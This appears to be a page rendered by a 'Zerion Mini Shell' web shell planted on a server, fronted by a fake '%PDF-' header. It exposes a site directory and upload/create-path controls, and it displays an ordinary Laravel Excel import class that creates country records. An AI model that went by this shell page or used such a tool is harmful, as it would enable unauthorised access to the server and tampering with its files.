%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/app/Imports/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/app/Imports/CountriesImport.php

<?php

namespace App\Imports;

use App\Models\Country;
use Exception;
use Maatwebsite\Excel\Concerns\ToModel;
use Maatwebsite\Excel\Concerns\WithHeadingRow;

class CountriesImport extends BaseImportModel implements ToModel, WithHeadingRow
{
    /**
     * @param array $row
     *
     * @return mixed
     * @throws Exception
     */
    public function model(array $row)
    {
        try {
            $iso = $row['code'];
            $en = $row['en'];
            $sq = $row['sq'];

            if ($iso && $en && $sq) {
                /** @var Country $country */
                $country = Country::query()
                                  ->create([
                                      'iso_2' => strtolower($iso),
                                      'name'  => [
                                          'en' => ucfirst(strtolower($en)),
                                          'sq' => ucfirst(strtolower($sq)),
                                      ],
                                  ]);
                return $country;

            }

        } catch (Exception $e) {
            \Log::debug($e->getMessage());
        }
    }
}

Zerion Mini Shell 1.0